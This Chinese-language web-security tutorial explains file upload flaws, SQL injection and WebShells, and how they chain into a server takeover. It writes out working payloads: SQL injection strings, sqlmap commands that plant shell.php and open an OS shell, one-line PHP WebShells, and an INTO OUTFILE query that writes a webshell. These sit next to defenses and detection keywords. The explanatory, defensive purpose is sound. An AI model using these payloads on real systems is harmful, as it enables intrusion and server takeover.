文章目錄
- 文件上傳漏洞
- SQL注入漏洞
- WebShell
- 三者的核心關聯:攻擊鏈閉環
文件上傳漏洞
文件上傳漏洞(File Upload Vulnerability)
當Web應用允許用戶上傳文件但未實施充分的安全驗證時,攻擊者可上傳惡意文件(如WebShell、病毒等),進而控制服務器或實施攻擊
核心漏洞成因
1,驗證缺失:
- 文件類型僅驗證MIME類型(易偽造)
- 未驗證文件內容簽名(如PNG頭)
- 未限制危險擴展名(.php, .jsp等)
2,路徑控制問題:
- 允許用戶控制上傳路徑
- 未隔離上傳目錄的執行權限
3,解析漏洞利用:
- Apache:shell .php .jpg 可能被解析為PHP
- IIS:shell .asp; .jpg 被當作ASP執行
- Nginx:shell .jpg/ .php 路徑解析漏洞
攻擊流程:
高危擴展名示例:
語言 | 危險擴展名 |
---|---|
PHP | .php .phtml .phar |
ASP | .asp .aspx .cer |
JSP | .jsp .jspx |
其他 | .htaccess(覆蓋配置) |
防御方案:
1.文件驗證三原則:
- 擴展名白名單(僅允許.jpg/.png等)
- 文件內容簽名檢測(驗證真實類型)
- 重命名文件(使用隨機哈希值)
2.權限控制:
# Nginx配置示例:禁止上傳目錄執行腳本
location ^~ /uploads/ {location ~ \.php$ { deny all; } # 僅禁止上傳目錄的PHP執行
}
3.沙箱隔離:
- 使用獨立域名托管用戶文件
- 云存儲服務(如AWS S3)設置只讀權限
SQL注入漏洞
SQL注入漏洞(SQL Injection)
攻擊者通過操縱應用程序的數據庫查詢,插入惡意SQL代碼,從而讀取、修改或刪除數據庫內容
漏洞關鍵點
?id=1' or 1=1 --+
?id=1 union select database()
等等
注入類型
類型 | 攻擊方式 | 危害等級 |
---|---|---|
聯合查詢注入 | UNION SELECT 1,@@version,3 | ???? |
布爾盲注 | AND SUBSTR(database(),1,1)=‘a’ | ??? |
時間盲注 | IF(1=1,SLEEP(5),0) | ??? |
報錯注入 | AND GTID_SUBSET(@@version,1) | ???? |
堆疊查詢 | ; SHOW TABLES– | ???? |
自動化攻擊工具
- sqlmap:自動檢測并利用SQL注入
- 常用命令
sqlmap -u "http://site.com/?id=1" --dbs
sqlmap -u "http://site.com/?id=1" --file-write=shell.php --file-dest=/var/www/html/shell.php --os-shell
防御策略
1.參數化查詢(最佳實踐)
# Python示例
cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))
2.深度防御
- 輸入過濾:過濾 ’ " ; –+ 等特殊字符
- 最小權限:數據庫賬戶禁用FILE、DROP等權限
- WAF規則:攔截常見注入模式(如UNION SELECT)
WebShell
WebShell
一種駐留在Web服務器上的惡意腳本文件,為攻擊者提供遠程控制接口
常見WebShell功能
<?php
if(isset($_GET['cmd'])) {system($_GET['cmd']);
}
?>
最經典的WebShell
一句話木馬
<?php @eval($_POST[hhh]); ?>
高級WebShell特性
1.隱蔽通信:
- 加密傳輸(AES/Base64)
- 偽裝成圖片文件(<?php ... ?> 后接圖片數據)
2.多功能模塊:
- 數據庫管理
- 文件管理器
- 內網掃描
- 端口轉發
植入路徑統計
植入方式 | 占比 | 典型案例 |
---|---|---|
文件上傳漏洞 | 62% | 論壇頭像上傳 |
SQL注入寫入 | 28% | 利用SQL寫文件功能 |
服務器配置漏洞 | 7% | FTP弱密碼爆破 |
其他 | 3% | CMS供應鏈攻擊 |
檢測與清除
1.特征檢測:
- 關鍵詞:eval( )、system( )、base64_decode( )
- 文件哈希:對比官方文件校驗值
2.行為監控:
# Linux實時監控Web目錄
auditctl -w /var/www/html -p wa -k webshell # 監控write+attribute變更
3.專業工具:
- 開源:河馬WebShell查殺、LMD
- 商業:阿里云云盾、騰訊云網站管家
三者的核心關聯:攻擊鏈閉環
1.文件上傳漏洞 → WebShell
- 直接通道:攻擊者利用上傳功能將WebShell偽裝成圖片/文檔上傳至服務器
- 關鍵點:繞過文件類型檢測(如修改Content-Type為image/jpeg)
- 結果:通過訪問上傳路徑直接獲得服務器控制權(如 http://site.com/uploads/shell.jpg)
2.SQL注入漏洞 → WebShell
- 間接通道:當注入點具備 寫文件權限(FILE權限 + secure_file_priv寬松)時:
UNION SELECT "<?php system($_GET['cmd']); ?>"
INTO OUTFILE '/var/www/html/shell.php'--+
- 關鍵點:需已知Web絕對路徑(通過報錯/暴力猜解獲取)
- 結果:在Web目錄生成WebShell文件(如 shell.php)
3.WebShell → 擴大攻擊面
- 控制服務器:通過WebShell執行命令(如 cat /etc/passwd)
- 反哺漏洞:
讀取服務器配置文件 → 發現數據庫賬號密碼 → 發動更深度SQL注入
掃描網站源碼 → 發現新上傳點 → 利用文件上傳漏洞二次滲透 - 橫向移動:以當前服務器為跳板,攻擊內網其他系統
防御關鍵:切斷攻擊鏈
攻擊環節 | 防御措施 |
---|---|
文件上傳漏洞 | 文件內容簽名校驗 + 隨機重命名 + 禁用上傳目錄執行權限 |
SQL注入漏洞 | 參數化查詢 + 數據庫賬戶降權(禁用FILE權限) + 設置secure_file_priv=NULL |
WebShell植入 | 文件完整性監控(如Tripwire) + Web目錄禁用寫權限 + 實時掃描惡意腳本 |